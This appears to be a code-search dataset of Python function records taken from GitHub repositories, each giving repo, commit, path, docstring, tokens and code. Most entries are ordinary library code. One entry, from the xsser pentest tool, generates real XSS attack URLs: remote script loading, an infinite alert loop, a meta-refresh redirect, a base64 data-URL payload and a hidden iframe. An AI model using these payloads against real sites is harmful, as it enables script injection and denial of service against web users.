List storage volumes. :rtype: ``list`` of :class:`StorageVolume`

List storage volumes.

[ "List", "storage", "volumes", "." ]

def list_volumes(self) -> List[StorageVolume]: """List storage volumes. :rtype: ``list`` of :class:`StorageVolume` """ data = self._paginated_request("/v2/blocks", "blocks") return [self._to_volume(item) for item in data]

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https://github.com/apache/libcloud/blob/90971e17bfd7b6bb97b2489986472c531cc8e140/libcloud/compute/drivers/vultr.py#L1400-L1406

openshift/openshift-tools

1188778e728a6e4781acf728123e5b356380fe6f

openshift_tools/monitoring/metric_sender.py

python

MetricSender.add_dynamic_metric

(self, discovery_key, macro_string, macro_array, host=None, synthetic=False)

apply add_dynamic_metric for each sender

[ "apply", "add_dynamic_metric", "for", "each", "sender" ]

def add_dynamic_metric(self, discovery_key, macro_string, macro_array, host=None, synthetic=False): ''' apply add_dynamic_metric for each sender''' for sender in self.active_senders: sender.add_dynamic_metric(discovery_key, macro_string, macro_array, host, synthetic)

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https://github.com/openshift/openshift-tools/blob/1188778e728a6e4781acf728123e5b356380fe6f/openshift_tools/monitoring/metric_sender.py#L75-L78

mesalock-linux/mesapy

ed546d59a21b36feb93e2309d5c6b75aa0ad95c9

lib-python/2.7/decimal.py

python

Decimal.__float__

(self)

return float(s)

Float representation.

[ "Float", "representation", "." ]

def __float__(self): """Float representation.""" if self._isnan(): if self.is_snan(): raise ValueError("Cannot convert signaling NaN to float") s = "-nan" if self._sign else "nan" else: s = str(self) return float(s)

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https://github.com/mesalock-linux/mesapy/blob/ed546d59a21b36feb93e2309d5c6b75aa0ad95c9/lib-python/2.7/decimal.py#L1580-L1588

buke/GreenOdoo

3d8c55d426fb41fdb3f2f5a1533cfe05983ba1df

source/addons/resource/resource.py

python

resource_calendar._interval_hours_get

(self, cr, uid, id, dt_from, dt_to, resource_id=False, timezone_from_uid=None, exclude_leaves=True, context=None)

return self.get_working_hours( cr, uid, id, dt_from, dt_to, compute_leaves=(not exclude_leaves), resource_id=resource_id, default_interval=(8, 16), context=context)

Computes working hours between two dates, taking always same hour/minuts. :deprecated: OpenERP saas-3. Use get_working_hours instead. Note: since saas-3, now resets hour/minuts. Now counts leave hours instead of all-day leaves.

Computes working hours between two dates, taking always same hour/minuts.

[ "Computes", "working", "hours", "between", "two", "dates", "taking", "always", "same", "hour", "/", "minuts", "." ]

def _interval_hours_get(self, cr, uid, id, dt_from, dt_to, resource_id=False, timezone_from_uid=None, exclude_leaves=True, context=None): """ Computes working hours between two dates, taking always same hour/minuts. :deprecated: OpenERP saas-3. Use get_working_hours instead. Note: since saas-3, now resets hour/minuts. Now counts leave hours instead of all-day leaves.""" return self.get_working_hours( cr, uid, id, dt_from, dt_to, compute_leaves=(not exclude_leaves), resource_id=resource_id, default_interval=(8, 16), context=context)

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https://github.com/buke/GreenOdoo/blob/3d8c55d426fb41fdb3f2f5a1533cfe05983ba1df/source/addons/resource/resource.py#L627-L635

mozillazg/pypy

2ff5cd960c075c991389f842c6d59e71cf0cb7d0

rpython/translator/driver.py

python

TranslationDriver.create_exe

(self)

Copy the compiled executable into current directory, which is pypy/goal on nightly builds

[ "Copy", "the", "compiled", "executable", "into", "current", "directory", "which", "is", "pypy", "/", "goal", "on", "nightly", "builds" ]

def create_exe(self): """ Copy the compiled executable into current directory, which is pypy/goal on nightly builds """ if self.exe_name is not None: exename = self.c_entryp newexename = py.path.local(exename.basename) shutil_copy(str(exename), str(newexename)) self.log.info("copied: %s to %s" % (exename, newexename,)) if self.cbuilder.shared_library_name is not None: soname = self.cbuilder.shared_library_name newsoname = newexename.new(basename=soname.basename) shutil_copy(str(soname), str(newsoname)) self.log.info("copied: %s to %s" % (soname, newsoname,)) if hasattr(self.cbuilder, 'executable_name_w'): # Copy pypyw.exe exename_w = self.cbuilder.executable_name_w newexename_w = py.path.local(exename_w.basename) self.log.info("copied: %s to %s" % (exename_w, newexename_w,)) shutil_copy(str(exename_w), str(newexename_w)) # for pypy, the import library is renamed and moved to # libs/python32.lib, according to the pragma in pyconfig.h libname = self.config.translation.libname oldlibname = soname.new(ext='lib') if not libname: libname = oldlibname.basename libname = str(newsoname.dirpath().join(libname)) shutil.copyfile(str(oldlibname), libname) self.log.info("copied: %s to %s" % (oldlibname, libname,)) # the pdb file goes in the same place as pypy(w).exe ext_to_copy = ['pdb',] for ext in ext_to_copy: name = soname.new(ext=ext) newname = newexename.new(basename=soname.basename) shutil.copyfile(str(name), str(newname.new(ext=ext))) self.log.info("copied: %s" % (newname,)) # HACK: copy libcffi-*.dll which is required for venvs # At some point, we should stop doing this, and instead # use the artifact from packaging the build instead libffi = py.path.local.sysfind('libffi-8.dll') if sys.platform == 'win32' and not libffi: raise RuntimeError('could not find libffi') elif libffi: # in tests, we can mock using windows without libffi shutil.copyfile(str(libffi), os.getcwd() + r'\libffi-8.dll') self.c_entryp = newexename self.log.info("created: %s" % (self.c_entryp,))

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https://github.com/mozillazg/pypy/blob/2ff5cd960c075c991389f842c6d59e71cf0cb7d0/rpython/translator/driver.py#L476-L522

microsoft/debugpy

be8dd607f6837244e0b565345e497aff7a0c08bf

src/debugpy/_vendored/pydevd/third_party/pep8/autopep8.py

python

shorten_comment

(line, max_line_length, last_comment=False)

Return trimmed or split long comment line. If there are no comments immediately following it, do a text wrap. Doing this wrapping on all comments in general would lead to jagged comment text.

Return trimmed or split long comment line.

[ "Return", "trimmed", "or", "split", "long", "comment", "line", "." ]

def shorten_comment(line, max_line_length, last_comment=False): """Return trimmed or split long comment line. If there are no comments immediately following it, do a text wrap. Doing this wrapping on all comments in general would lead to jagged comment text. """ assert len(line) > max_line_length line = line.rstrip() # PEP 8 recommends 72 characters for comment text. indentation = _get_indentation(line) + '# ' max_line_length = min(max_line_length, len(indentation) + 72) MIN_CHARACTER_REPEAT = 5 if ( len(line) - len(line.rstrip(line[-1])) >= MIN_CHARACTER_REPEAT and not line[-1].isalnum() ): # Trim comments that end with things like --------- return line[:max_line_length] + '\n' elif last_comment and re.match(r'\s*#+\s*\w+', line): split_lines = textwrap.wrap(line.lstrip(' \t#'), initial_indent=indentation, subsequent_indent=indentation, width=max_line_length, break_long_words=False, break_on_hyphens=False) return '\n'.join(split_lines) + '\n' else: return line + '\n'

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https://github.com/microsoft/debugpy/blob/be8dd607f6837244e0b565345e497aff7a0c08bf/src/debugpy/_vendored/pydevd/third_party/pep8/autopep8.py#L2927-L2959

mtivadar/qiew

87a3b96b43f1745a6b3f1fcfebce5164d2a40a14

plugins/format/binary.py

python

Binary.getBanners

(self)

return [Banners.FileAddrBanner(self.dataModel, self._viewMode), Banners.TopBanner(self.dataModel, self._viewMode), Banners.BottomBanner(self.dataModel, self._viewMode)]

[]

def getBanners(self): return [Banners.FileAddrBanner(self.dataModel, self._viewMode), Banners.TopBanner(self.dataModel, self._viewMode), Banners.BottomBanner(self.dataModel, self._viewMode)]

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https://github.com/mtivadar/qiew/blob/87a3b96b43f1745a6b3f1fcfebce5164d2a40a14/plugins/format/binary.py#L48-L49

opendevops-cn/opendevops

538dc9b93bd7c08f36a2d6a7eb8df848f7d7f3d0

scripts/tornado_source_code/tornado/autoreload.py

python

add_reload_hook

(fn: Callable[[], None])

Add a function to be called before reloading the process. Note that for open file and socket handles it is generally preferable to set the ``FD_CLOEXEC`` flag (using `fcntl` or ``tornado.platform.auto.set_close_exec``) instead of using a reload hook to close them.

Add a function to be called before reloading the process.

[ "Add", "a", "function", "to", "be", "called", "before", "reloading", "the", "process", "." ]

def add_reload_hook(fn: Callable[[], None]) -> None: """Add a function to be called before reloading the process. Note that for open file and socket handles it is generally preferable to set the ``FD_CLOEXEC`` flag (using `fcntl` or ``tornado.platform.auto.set_close_exec``) instead of using a reload hook to close them. """ _reload_hooks.append(fn)

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https://github.com/opendevops-cn/opendevops/blob/538dc9b93bd7c08f36a2d6a7eb8df848f7d7f3d0/scripts/tornado_source_code/tornado/autoreload.py#L156-L164

bcbio/bcbio-nextgen

c80f9b6b1be3267d1f981b7035e3b72441d258f2

bcbio/cwl/workflow.py

python

_merge_wf_inputs

(new, out, wf_outputs, to_ignore, parallel, nested_inputs)

return out, remapped_new

Merge inputs for a sub-workflow, adding any not present inputs in out. Skips inputs that are internally generated or generated and ignored, keeping only as inputs those that we do not generate internally.

Merge inputs for a sub-workflow, adding any not present inputs in out.

[ "Merge", "inputs", "for", "a", "sub", "-", "workflow", "adding", "any", "not", "present", "inputs", "in", "out", "." ]

def _merge_wf_inputs(new, out, wf_outputs, to_ignore, parallel, nested_inputs): """Merge inputs for a sub-workflow, adding any not present inputs in out. Skips inputs that are internally generated or generated and ignored, keeping only as inputs those that we do not generate internally. """ internal_generated_ids = [] for vignore in to_ignore: vignore_id = _get_string_vid(vignore) # ignore anything we generate internally, but not those we need to pull in # from the external process if vignore_id not in [v["id"] for v in wf_outputs]: internal_generated_ids.append(vignore_id) ignore_ids = set(internal_generated_ids + [v["id"] for v in wf_outputs]) cur_ids = set([v["id"] for v in out]) remapped_new = [] for v in new: remapped_v = copy.deepcopy(v) outv = copy.deepcopy(v) outv["id"] = get_base_id(v["id"]) outv["source"] = v["id"] if outv["id"] not in cur_ids and outv["id"] not in ignore_ids: if nested_inputs and v["id"] in nested_inputs: outv = _flatten_nested_input(outv) out.append(outv) if remapped_v["id"] in set([v["source"] for v in out]): remapped_v["source"] = get_base_id(remapped_v["id"]) remapped_new.append(remapped_v) return out, remapped_new

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https://github.com/bcbio/bcbio-nextgen/blob/c80f9b6b1be3267d1f981b7035e3b72441d258f2/bcbio/cwl/workflow.py#L72-L100

keon/algorithms

23d4e85a506eaeaff315e855be12f8dbe47a7ec3

algorithms/tree/segment_tree/iterative_segment_tree.py

python

SegmentTree.build_tree

(self)

[]

def build_tree(self): for i in range(self.size - 1, 0, -1): self.tree[i] = self.fn(self.tree[i * 2], self.tree[i * 2 + 1])

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https://github.com/keon/algorithms/blob/23d4e85a506eaeaff315e855be12f8dbe47a7ec3/algorithms/tree/segment_tree/iterative_segment_tree.py#L33-L35

pantsbuild/pex

473c6ac732ed4bc338b4b20a9ec930d1d722c9b4

pex/vendor/_vendored/pip/pip/_vendor/pep517/wrappers.py

python

HookMissing.__init__

(self, hook_name)

[]

def __init__(self, hook_name): super(HookMissing, self).__init__(hook_name) self.hook_name = hook_name

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https://github.com/pantsbuild/pex/blob/473c6ac732ed4bc338b4b20a9ec930d1d722c9b4/pex/vendor/_vendored/pip/pip/_vendor/pep517/wrappers.py#L58-L60

plotly/plotly.py

cfad7862594b35965c0e000813bd7805e8494a5b

packages/python/plotly/plotly/figure_factory/utils.py

python

annotation_dict_for_label

( text, lane, num_of_lanes, subplot_spacing, row_col="col", flipped=True, right_side=True, text_color="#0f0f0f", )

return annotation_dict

Returns annotation dict for label of n labels of a 1xn or nx1 subplot. :param (str) text: the text for a label. :param (int) lane: the label number for text. From 1 to n inclusive. :param (int) num_of_lanes: the number 'n' of rows or columns in subplot. :param (float) subplot_spacing: the value for the horizontal_spacing and vertical_spacing params in your plotly.tools.make_subplots() call. :param (str) row_col: choose whether labels are placed along rows or columns. :param (bool) flipped: flips text by 90 degrees. Text is printed horizontally if set to True and row_col='row', or if False and row_col='col'. :param (bool) right_side: only applicable if row_col is set to 'row'. :param (str) text_color: color of the text.

Returns annotation dict for label of n labels of a 1xn or nx1 subplot.

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def annotation_dict_for_label( text, lane, num_of_lanes, subplot_spacing, row_col="col", flipped=True, right_side=True, text_color="#0f0f0f", ): """ Returns annotation dict for label of n labels of a 1xn or nx1 subplot. :param (str) text: the text for a label. :param (int) lane: the label number for text. From 1 to n inclusive. :param (int) num_of_lanes: the number 'n' of rows or columns in subplot. :param (float) subplot_spacing: the value for the horizontal_spacing and vertical_spacing params in your plotly.tools.make_subplots() call. :param (str) row_col: choose whether labels are placed along rows or columns. :param (bool) flipped: flips text by 90 degrees. Text is printed horizontally if set to True and row_col='row', or if False and row_col='col'. :param (bool) right_side: only applicable if row_col is set to 'row'. :param (str) text_color: color of the text. """ l = (1 - (num_of_lanes - 1) * subplot_spacing) / (num_of_lanes) if not flipped: xanchor = "center" yanchor = "middle" if row_col == "col": x = (lane - 1) * (l + subplot_spacing) + 0.5 * l y = 1.03 textangle = 0 elif row_col == "row": y = (lane - 1) * (l + subplot_spacing) + 0.5 * l x = 1.03 textangle = 90 else: if row_col == "col": xanchor = "center" yanchor = "bottom" x = (lane - 1) * (l + subplot_spacing) + 0.5 * l y = 1.0 textangle = 270 elif row_col == "row": yanchor = "middle" y = (lane - 1) * (l + subplot_spacing) + 0.5 * l if right_side: x = 1.0 xanchor = "left" else: x = -0.01 xanchor = "right" textangle = 0 annotation_dict = dict( textangle=textangle, xanchor=xanchor, yanchor=yanchor, x=x, y=y, showarrow=False, xref="paper", yref="paper", text=text, font=dict(size=13, color=text_color), ) return annotation_dict

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https://github.com/plotly/plotly.py/blob/cfad7862594b35965c0e000813bd7805e8494a5b/packages/python/plotly/plotly/figure_factory/utils.py#L192-L260

JetBrains/python-skeletons

95ad24b666e475998e5d1cc02ed53a2188036167

numpy/core/__init__.py

python

uintc.__divmod__

(self, *args, **kwargs)

Return divmod(self, value).

[ "Return", "divmod", "(", "self", "value", ")", "." ]

def __divmod__(self, *args, **kwargs): # real signature unknown """ Return divmod(self, value). """ pass

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https://github.com/JetBrains/python-skeletons/blob/95ad24b666e475998e5d1cc02ed53a2188036167/numpy/core/__init__.py#L4627-L4629

r9y9/deepvoice3_pytorch

a5c24624bad314db5a5dcb0ea320fc3623a94f15

nikl_preprocess/prepare_metafile.py

python

pe

(cmd, shell=False)

return ret

Print and execute command on system

[ "Print", "and", "execute", "command", "on", "system" ]

def pe(cmd, shell=False): """ Print and execute command on system """ ret = [] for line in execute(cmd, shell=shell): ret.append(line) print(line, end="") return ret

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https://github.com/r9y9/deepvoice3_pytorch/blob/a5c24624bad314db5a5dcb0ea320fc3623a94f15/nikl_preprocess/prepare_metafile.py#L20-L28

ckan/ckan

b3b01218ad88ed3fb914b51018abe8b07b07bff3

ckan/logic/action/get.py

python

organization_list_for_user

(context, data_dict)

return orgs_list

Return the organizations that the user has a given permission for. Specifically it returns the list of organizations that the currently authorized user has a given permission (for example: "manage_group") against. By default this returns the list of organizations that the currently authorized user is member of, in any capacity. When a user becomes a member of an organization in CKAN they're given a "capacity" (sometimes called a "role"), for example "member", "editor" or "admin". Each of these roles has certain permissions associated with it. For example the admin role has the "admin" permission (which means they have permission to do anything). The editor role has permissions like "create_dataset", "update_dataset" and "delete_dataset". The member role has the "read" permission. This function returns the list of organizations that the authorized user has a given permission for. For example the list of organizations that the user is an admin of, or the list of organizations that the user can create datasets in. This takes account of when permissions cascade down an organization hierarchy. :param id: the name or id of the user to get the organization list for (optional, defaults to the currently authorized user (logged in or via API key)) :type id: string :param permission: the permission the user has against the returned organizations, for example ``"read"`` or ``"create_dataset"`` (optional, default: ``"manage_group"``) :type permission: string :param include_dataset_count: include the package_count in each org (optional, default: ``False``) :type include_dataset_count: bool :returns: list of organizations that the user has the given permission for :rtype: list of dicts

Return the organizations that the user has a given permission for.

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def organization_list_for_user(context, data_dict): '''Return the organizations that the user has a given permission for. Specifically it returns the list of organizations that the currently authorized user has a given permission (for example: "manage_group") against. By default this returns the list of organizations that the currently authorized user is member of, in any capacity. When a user becomes a member of an organization in CKAN they're given a "capacity" (sometimes called a "role"), for example "member", "editor" or "admin". Each of these roles has certain permissions associated with it. For example the admin role has the "admin" permission (which means they have permission to do anything). The editor role has permissions like "create_dataset", "update_dataset" and "delete_dataset". The member role has the "read" permission. This function returns the list of organizations that the authorized user has a given permission for. For example the list of organizations that the user is an admin of, or the list of organizations that the user can create datasets in. This takes account of when permissions cascade down an organization hierarchy. :param id: the name or id of the user to get the organization list for (optional, defaults to the currently authorized user (logged in or via API key)) :type id: string :param permission: the permission the user has against the returned organizations, for example ``"read"`` or ``"create_dataset"`` (optional, default: ``"manage_group"``) :type permission: string :param include_dataset_count: include the package_count in each org (optional, default: ``False``) :type include_dataset_count: bool :returns: list of organizations that the user has the given permission for :rtype: list of dicts ''' model = context['model'] if data_dict.get('id'): user_obj = model.User.get(data_dict['id']) if not user_obj: raise NotFound user = user_obj.name else: user = context['user'] _check_access('organization_list_for_user', context, data_dict) sysadmin = authz.is_sysadmin(user) orgs_q = model.Session.query(model.Group) \ .filter(model.Group.is_organization == True) \ .filter(model.Group.state == 'active') if sysadmin: orgs_and_capacities = [(org, 'admin') for org in orgs_q.all()] else: # for non-Sysadmins check they have the required permission permission = data_dict.get('permission', 'manage_group') roles = authz.get_roles_with_permission(permission) if not roles: return [] user_id = authz.get_user_id_for_username(user, allow_none=True) if not user_id: return [] q = model.Session.query(model.Member, model.Group) \ .filter(model.Member.table_name == 'user') \ .filter(model.Member.capacity.in_(roles)) \ .filter(model.Member.table_id == user_id) \ .filter(model.Member.state == 'active') \ .join(model.Group) group_ids = set() roles_that_cascade = \ authz.check_config_permission('roles_that_cascade_to_sub_groups') group_ids_to_capacities = {} for member, group in q.all(): if member.capacity in roles_that_cascade: children_group_ids = [ grp_tuple[0] for grp_tuple in group.get_children_group_hierarchy(type='organization') ] for group_id in children_group_ids: group_ids_to_capacities[group_id] = member.capacity group_ids |= set(children_group_ids) group_ids_to_capacities[group.id] = member.capacity group_ids.add(group.id) if not group_ids: return [] orgs_q = orgs_q.filter(model.Group.id.in_(group_ids)) orgs_and_capacities = [ (org, group_ids_to_capacities[org.id]) for org in orgs_q.all()] context['with_capacity'] = True orgs_list = model_dictize.group_list_dictize(orgs_and_capacities, context, with_package_counts=asbool(data_dict.get('include_dataset_count'))) return orgs_list

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https://github.com/ckan/ckan/blob/b3b01218ad88ed3fb914b51018abe8b07b07bff3/ckan/logic/action/get.py#L609-L717

marshmallow-code/marshmallow

58c2045b8f272c2f1842458aa79f5c079a01429f

src/marshmallow/schema.py

python

Schema._do_load

return result

Deserialize `data`, returning the deserialized result. This method is private API. :param data: The data to deserialize. :param many: Whether to deserialize `data` as a collection. If `None`, the value for `self.many` is used. :param partial: Whether to validate required fields. If its value is an iterable, only fields listed in that iterable will be ignored will be allowed missing. If `True`, all fields will be allowed missing. If `None`, the value for `self.partial` is used. :param unknown: Whether to exclude, include, or raise an error for unknown fields in the data. Use `EXCLUDE`, `INCLUDE` or `RAISE`. If `None`, the value for `self.unknown` is used. :param postprocess: Whether to run post_load methods.. :return: Deserialized data

Deserialize `data`, returning the deserialized result. This method is private API.

[ "Deserialize", "data", "returning", "the", "deserialized", "result", ".", "This", "method", "is", "private", "API", "." ]

def _do_load( self, data: ( typing.Mapping[str, typing.Any] | typing.Iterable[typing.Mapping[str, typing.Any]] ), *, many: bool | None = None, partial: bool | types.StrSequenceOrSet | None = None, unknown: str | None = None, postprocess: bool = True, ): """Deserialize `data`, returning the deserialized result. This method is private API. :param data: The data to deserialize. :param many: Whether to deserialize `data` as a collection. If `None`, the value for `self.many` is used. :param partial: Whether to validate required fields. If its value is an iterable, only fields listed in that iterable will be ignored will be allowed missing. If `True`, all fields will be allowed missing. If `None`, the value for `self.partial` is used. :param unknown: Whether to exclude, include, or raise an error for unknown fields in the data. Use `EXCLUDE`, `INCLUDE` or `RAISE`. If `None`, the value for `self.unknown` is used. :param postprocess: Whether to run post_load methods.. :return: Deserialized data """ error_store = ErrorStore() errors = {} # type: dict[str, list[str]] many = self.many if many is None else bool(many) unknown = unknown or self.unknown if partial is None: partial = self.partial # Run preprocessors if self._has_processors(PRE_LOAD): try: processed_data = self._invoke_load_processors( PRE_LOAD, data, many=many, original_data=data, partial=partial ) except ValidationError as err: errors = err.normalized_messages() result = None # type: list | dict | None else: processed_data = data if not errors: # Deserialize data result = self._deserialize( processed_data, error_store=error_store, many=many, partial=partial, unknown=unknown, ) # Run field-level validation self._invoke_field_validators( error_store=error_store, data=result, many=many ) # Run schema-level validation if self._has_processors(VALIDATES_SCHEMA): field_errors = bool(error_store.errors) self._invoke_schema_validators( error_store=error_store, pass_many=True, data=result, original_data=data, many=many, partial=partial, field_errors=field_errors, ) self._invoke_schema_validators( error_store=error_store, pass_many=False, data=result, original_data=data, many=many, partial=partial, field_errors=field_errors, ) errors = error_store.errors # Run post processors if not errors and postprocess and self._has_processors(POST_LOAD): try: result = self._invoke_load_processors( POST_LOAD, result, many=many, original_data=data, partial=partial, ) except ValidationError as err: errors = err.normalized_messages() if errors: exc = ValidationError(errors, data=data, valid_data=result) self.handle_error(exc, data, many=many, partial=partial) raise exc return result

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https://github.com/marshmallow-code/marshmallow/blob/58c2045b8f272c2f1842458aa79f5c079a01429f/src/marshmallow/schema.py#L805-L902

linux-system-roles/network

20667b086068516dff248760e00f844b333eb727

module_utils/network_lsr/nm_provider.py

python

get_nm_ethtool_feature

(name)

return feature

Translate ethtool feature into Network Manager name :param name: Name of the feature :type name: str :returns: Name of the feature to be used by `NM.SettingEthtool.set_feature()` :rtype: str

Translate ethtool feature into Network Manager name

[ "Translate", "ethtool", "feature", "into", "Network", "Manager", "name" ]

def get_nm_ethtool_feature(name): """ Translate ethtool feature into Network Manager name :param name: Name of the feature :type name: str :returns: Name of the feature to be used by `NM.SettingEthtool.set_feature()` :rtype: str """ name = ETHTOOL_FEATURE_PREFIX + name.upper() feature = getattr(Util.NM(), name, None) return feature

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https://github.com/linux-system-roles/network/blob/20667b086068516dff248760e00f844b333eb727/module_utils/network_lsr/nm_provider.py#L16-L29

cbrgm/telegram-robot-rss

58fe98de427121fdc152c8df0721f1891174e6c9

venv/lib/python2.7/site-packages/pkg_resources/_vendor/pyparsing.py

python

ParserElement.runTests

(self, tests, parseAll=True, comment='#', fullDump=True, printResults=True, failureTests=False)

return success, allResults

Execute the parse expression on a series of test strings, showing each test, the parsed results or where the parse failed. Quick and easy way to run a parse expression against a list of sample strings. Parameters: - tests - a list of separate test strings, or a multiline string of test strings - parseAll - (default=C{True}) - flag to pass to C{L{parseString}} when running tests - comment - (default=C{'#'}) - expression for indicating embedded comments in the test string; pass None to disable comment filtering - fullDump - (default=C{True}) - dump results as list followed by results names in nested outline; if False, only dump nested list - printResults - (default=C{True}) prints test output to stdout - failureTests - (default=C{False}) indicates if these tests are expected to fail parsing Returns: a (success, results) tuple, where success indicates that all tests succeeded (or failed if C{failureTests} is True), and the results contain a list of lines of each test's output Example:: number_expr = pyparsing_common.number.copy() result = number_expr.runTests(''' # unsigned integer 100 # negative integer -100 # float with scientific notation 6.02e23 # integer with scientific notation 1e-12 ''') print("Success" if result[0] else "Failed!") result = number_expr.runTests(''' # stray character 100Z # missing leading digit before '.' -.100 # too many '.' 3.14.159 ''', failureTests=True) print("Success" if result[0] else "Failed!") prints:: # unsigned integer 100 [100] # negative integer -100 [-100] # float with scientific notation 6.02e23 [6.02e+23] # integer with scientific notation 1e-12 [1e-12] Success # stray character 100Z ^ FAIL: Expected end of text (at char 3), (line:1, col:4) # missing leading digit before '.' -.100 ^ FAIL: Expected {real number with scientific notation | real number | signed integer} (at char 0), (line:1, col:1) # too many '.' 3.14.159 ^ FAIL: Expected end of text (at char 4), (line:1, col:5) Success Each test string must be on a single line. If you want to test a string that spans multiple lines, create a test like this:: expr.runTest(r"this is a test\\n of strings that spans \\n 3 lines") (Note that this is a raw string literal, you must include the leading 'r'.)

Execute the parse expression on a series of test strings, showing each test, the parsed results or where the parse failed. Quick and easy way to run a parse expression against a list of sample strings. Parameters: - tests - a list of separate test strings, or a multiline string of test strings - parseAll - (default=C{True}) - flag to pass to C{L{parseString}} when running tests - comment - (default=C{'#'}) - expression for indicating embedded comments in the test string; pass None to disable comment filtering - fullDump - (default=C{True}) - dump results as list followed by results names in nested outline; if False, only dump nested list - printResults - (default=C{True}) prints test output to stdout - failureTests - (default=C{False}) indicates if these tests are expected to fail parsing

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def runTests(self, tests, parseAll=True, comment='#', fullDump=True, printResults=True, failureTests=False): """ Execute the parse expression on a series of test strings, showing each test, the parsed results or where the parse failed. Quick and easy way to run a parse expression against a list of sample strings. Parameters: - tests - a list of separate test strings, or a multiline string of test strings - parseAll - (default=C{True}) - flag to pass to C{L{parseString}} when running tests - comment - (default=C{'#'}) - expression for indicating embedded comments in the test string; pass None to disable comment filtering - fullDump - (default=C{True}) - dump results as list followed by results names in nested outline; if False, only dump nested list - printResults - (default=C{True}) prints test output to stdout - failureTests - (default=C{False}) indicates if these tests are expected to fail parsing Returns: a (success, results) tuple, where success indicates that all tests succeeded (or failed if C{failureTests} is True), and the results contain a list of lines of each test's output Example:: number_expr = pyparsing_common.number.copy() result = number_expr.runTests(''' # unsigned integer 100 # negative integer -100 # float with scientific notation 6.02e23 # integer with scientific notation 1e-12 ''') print("Success" if result[0] else "Failed!") result = number_expr.runTests(''' # stray character 100Z # missing leading digit before '.' -.100 # too many '.' 3.14.159 ''', failureTests=True) print("Success" if result[0] else "Failed!") prints:: # unsigned integer 100 [100] # negative integer -100 [-100] # float with scientific notation 6.02e23 [6.02e+23] # integer with scientific notation 1e-12 [1e-12] Success # stray character 100Z ^ FAIL: Expected end of text (at char 3), (line:1, col:4) # missing leading digit before '.' -.100 ^ FAIL: Expected {real number with scientific notation | real number | signed integer} (at char 0), (line:1, col:1) # too many '.' 3.14.159 ^ FAIL: Expected end of text (at char 4), (line:1, col:5) Success Each test string must be on a single line. If you want to test a string that spans multiple lines, create a test like this:: expr.runTest(r"this is a test\\n of strings that spans \\n 3 lines") (Note that this is a raw string literal, you must include the leading 'r'.) """ if isinstance(tests, basestring): tests = list(map(str.strip, tests.rstrip().splitlines())) if isinstance(comment, basestring): comment = Literal(comment) allResults = [] comments = [] success = True for t in tests: if comment is not None and comment.matches(t, False) or comments and not t: comments.append(t) continue if not t: continue out = ['\n'.join(comments), t] comments = [] try: t = t.replace(r'\n','\n') result = self.parseString(t, parseAll=parseAll) out.append(result.dump(full=fullDump)) success = success and not failureTests except ParseBaseException as pe: fatal = "(FATAL)" if isinstance(pe, ParseFatalException) else "" if '\n' in t: out.append(line(pe.loc, t)) out.append(' '*(col(pe.loc,t)-1) + '^' + fatal) else: out.append(' '*pe.loc + '^' + fatal) out.append("FAIL: " + str(pe)) success = success and failureTests result = pe except Exception as exc: out.append("FAIL-EXCEPTION: " + str(exc)) success = success and failureTests result = exc if printResults: if fullDump: out.append('') print('\n'.join(out)) allResults.append((t, result)) return success, allResults

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https://github.com/cbrgm/telegram-robot-rss/blob/58fe98de427121fdc152c8df0721f1891174e6c9/venv/lib/python2.7/site-packages/pkg_resources/_vendor/pyparsing.py#L2191-L2320

pikpikcu/Pentest-Tools-Framework

cd6e6107764a809943dc4e073cde8149c1a2cd03

modules/xsser/build/lib/core/main.py

python

xsser.generate_real_attack_url

(self, dest_url, description, method, hashing, query_string, payload, orig_url)

return dest_url

Generate a real attack url by using data from a successfull test. This method also applies DOM stealth mechanisms.

Generate a real attack url by using data from a successfull test.

[ "Generate", "a", "real", "attack", "url", "by", "using", "data", "from", "a", "successfull", "test", "." ]

def generate_real_attack_url(self, dest_url, description, method, hashing, query_string, payload, orig_url): """ Generate a real attack url by using data from a successfull test. This method also applies DOM stealth mechanisms. """ user_attack_payload = payload['payload'] if self.options.finalpayload: user_attack_payload = self.options.finalpayload elif self.options.finalremote: user_attack_payload = '<script src="' + self.options.finalremote + '"></script>' elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Data Control Protocol Injection]": user_attack_payload = '<a href="data:text/html;base64,' + b64encode(self.options.finalpayload) + '></a>' elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Induced Injection]": user_attack_payload = self.options.finalpayload if self.options.dos: user_attack_payload = '<script>for(;;)alert("You were XSSed!!");</script>' if self.options.doss: user_attack_payload = '<meta%20http-equiv="refresh"%20content="0;">' if self.options.b64: user_attack_payload = '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4">' if self.options.onm: user_attack_payload = '"style="position:absolute;top:0;left:0;z-index:1000;width:3000px;height:3000px" onMouseMove="' + user_attack_payload if self.options.ifr: user_attack_payload = '<iframe src="' + user_attack_payload + '" width="0" height="0"></iframe>' do_anchor_payload = self.options.anchor anchor_data = None attack_hash = None if 'PAYLOAD' in payload['payload']: if user_attack_payload == "": attack_hash = self.generate_hash('final') user_attack_payload = payload['payload'] user_attack_payload = payload['payload'].replace('PAYLOAD', attack_hash) else: user_attack_payload = payload['payload'].replace('PAYLOAD', user_attack_payload) if 'XSS' in user_attack_payload: attack_hash = self.generate_hash('final') user_attack_payload = user_attack_payload.replace('XSS', attack_hash) if do_anchor_payload: dest_url, newhash = self.get_url_payload(orig_url, payload, query_string, user_attack_payload) dest_url = dest_url.replace('?', '#') else: dest_url, newhash = self.get_url_payload(orig_url, payload, query_string, user_attack_payload) if attack_hash: self.final_attacks[attack_hash] = {'url':dest_url} return dest_url

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https://github.com/pikpikcu/Pentest-Tools-Framework/blob/cd6e6107764a809943dc4e073cde8149c1a2cd03/modules/xsser/build/lib/core/main.py#L2156-L2202

mozilla/zamboni

14b1a44658e47b9f048962fa52dbf00a3beaaf30

mkt/site/views.py

python

cspreport

(request)

return HttpResponse()

Accept CSP reports and log them.

[ "Accept", "CSP", "reports", "and", "log", "them", "." ]

